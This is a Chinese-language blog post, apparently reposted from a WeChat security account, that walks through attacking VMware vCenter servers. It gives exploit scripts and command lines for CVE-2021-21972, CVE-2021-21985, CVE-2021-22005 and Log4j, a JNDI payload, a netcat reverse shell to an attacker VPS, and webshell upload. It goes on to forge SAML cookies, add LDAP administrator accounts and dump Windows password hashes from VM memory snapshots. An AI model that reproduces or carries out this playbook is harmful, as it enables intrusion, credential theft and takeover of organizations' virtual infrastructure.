VMware vCenter漏洞实战利用总结

admin 2022年5月10日22:11:20评论243 views字数 4158阅读13分51秒阅读模式

前言



Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。


利用思路



  • Vcenter利用点非常多,获取权限之后危害较大,并且web特征明显,内网中很容易被发现。


  • 发现之后,查看Vcenter版本信息,确定存在的漏洞,通过漏洞获取webshell。


  • 测试权限,如果权限为root,进行伪造cookie或者创建用户操作获取web权限,进入vCenter后台获取更多机器的权限,尽可能的滚雪球扩大战果,如果权限为vsphere-ui,则查看版本是否存在条件提权,存在条件提权就提权到root权限,重复root权限操作。如果不存在条件提权,就尽可能的从当前机器中记录数据,以此机器作为跳板机进行内网漫游。


实战思路



  • 为什么要打Vcenter

Vcenter人送外号小域控,Vcenter拿下之后,不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】,拿下Vcenter的价值不亚于域控的价值。


  • 怎么寻找公网的Vcenter

通过搜索语法查找公网Vcenter服务器,一般Vcenter开放的端口为5480,此外,使用工具获取网页title时,也可以发现Vcenter服务器。

title="+ ID_VC_Welcome +"


  • 打下Vcenter之后应该做什么

内网三要素,我是谁?我在哪?我要去哪?接下来就是翻找数据,伪造cookie或者创建用户操作获取web权限,获取windows机器的hash,或者直接进入虚拟机进行信息搜集,做专属的密码本,一些相关的敏感数据也是加分项,以便于后期的内网渗透,信息搜集做的好,漏洞绝对跑不了。


查看Vcenter版本

/sdk/vimServiceVersions.xml

VMware vCenter漏洞实战利用总结


漏洞利用



·Nuclei


工具介绍

Nuclei是一个快速的、基于模板的漏洞扫描程序,专注于广泛的可配置性、大规模的可扩展性和易用性,方便利用模板快速定位漏洞。


项目地址

https://github.com/projectdiscovery/nuclei


·CVE-2021-21972


使用脚本

https://github.com/NS-Sp4ce/CVE-2021-21972


命令

python cve-2021-21972.py -url

VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG


攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。


确认漏洞

  1. 通过Nuclei获取存在漏洞的网站。

  2. Url中拼接/ui/vropspluginui/rest/services/uploadova,如果页面返回状态码为200、405,则可能存在漏洞。

VMware vCenter漏洞实战利用总结


·CVE-2021-21985


使用脚本

https://github.com/r0ckysec/CVE-2021-21985


命令

VPS

java -jar JNDIInjection-Bypass.jar 1099 <vpsip> <监听port> # 使用脚本生成pyloadnc -lvvp <监听port> # nc接收反弹shell

VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


攻击鸡

python cve-2021-21985_exp.py <target> <rmi://ip/class>

VMware vCenter漏洞实战利用总结


影响版本

VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1


确认漏洞

nuclei扫描


·CVE-2021-22005


使用脚本

https://github.com/shmilylty/cve-2021-22005-exp


命令

exp.exe -t <target> -s <webshell>

VMware vCenter漏洞实战利用总结


如果不指定-s的话,会上传默认的cmd.jsp,可以指定自己生成的马儿。


VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


影响版本

VMware vCenter Server 7.0

VMware vCenter Server 6.7 Running On Virtual Appliance

VMware Cloud Foundation (vCenter Server) 4.x

VMware Cloud Foundation (vCenter Server) 3.x


确认漏洞

利用nuclei扫描


·Log4j


使用脚本

https://github.com/zzwlpx/JNDIExploit


命令

漏洞成因是Vcenter的SAML路由中,可以通过增加XFF头触发漏洞,把需要执行的命令跟在XFF后面。


SAML路由路径如下:

 /websso/SAML2/SSO/vsphere.local?SAMLRequest=

Payload如下:

${jndi:ldap://exp}


VMware vCenter漏洞实战利用总结



VMware vCenter漏洞实战利用总结



exp的内容需要通过上面给出的脚本JDNI注入工具完成。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip


查看可执行的命令

java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

VMware vCenter漏洞实战利用总结


利用命令行反弹shell

利用命令行反弹shell的方式有两种,第一种是直接使用工具中自带的/ReverseShell/ip/port,但是这种方式不适合用于Vcenter,虽然可以反弹回shell,但是执行命令无法回显。这里选择使用以下命令反弹shell

nc -e /bin/sh vps_ip port

VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


后续利用


获取web权限



·伪造cookie


使用脚本

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py


命令

使用脚本时可能会报错,需要提前安装requirements.txt下的库

VMware vCenter漏洞实战利用总结


windows下安装python-ldap的方法:

下载对应python版本的python-ldap(cp310代表的是python3.10的版本)


项目地址

https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap

pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl

VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


获取data.mdb

windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdblinux:/storage/db/vmware-vmdir/data.mdb


从目标机器/storage/db/vmware-vmdir/的目录下下载data.mdb。


伪造cookie

目标机器内网ip需要本地可以访问到,否则无法伪造cookie。

python vcenter_saml_login.py -t <目标机器内网ip-p data.mdb


VMware vCenter漏洞实战利用总结


使用cookie修改工具,修改cookie的值

VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


修改完成之后,点击页面的启动

VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


如果没成功,则代表需要设置hosts指定域名和ip的关系,清除浏览器缓存重新访问。


·LDAP创建管理员


使用脚本

文章

https://3gstudent.github.io/vSphere开发指南5-LDAP


脚本

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py


实战

将脚本上传之后,执行命令搜集相关信息,方便后续替换

python update.pypython update.py getadminpython update.py getuser

VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


根据收集到的信息修改脚本内容

VMware vCenter漏洞实战利用总结


使用下列命令adduser、addadmin

python update.py adduserpython update.py addadmin

VMware vCenter漏洞实战利用总结


VMware vCenter漏洞实战利用总结


登录验证

VMware vCenter漏洞实战利用总结


·获取Vcenter后台windows机器权限


使用脚本

https://www.volatilityfoundation.org/releases


手法

利用伪造cookie或者LDAP创建管理员进入到后台,找到一台处于锁屏界面的windows主机,创建快照。

VMware vCenter漏洞实战利用总结


快照保存在相对应的数据库中,在相对应的数据库中下载vmem和vmsn这两个文件。

VMware vCenter漏洞实战利用总结


利用volatility查看Suggested Profile(s)

默认选择第一个(volatility默认推荐)

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo

VMware vCenter漏洞实战利用总结


列出注册表内容

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist

VMware vCenter漏洞实战利用总结


使用hashdump获取hash值

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010

VMware vCenter漏洞实战利用总结


还有一些其他的手法本文未提及,D大的可以自行研究下,提前祝大家周末愉快!

VMware vCenter漏洞实战利用总结


原文始发于微信公众号(零队):VMware vCenter漏洞实战利用总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日22:11:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VMware vCenter漏洞实战利用总结https://cn-sec.com/archives/996301.html

发表评论

匿名网友 填写信息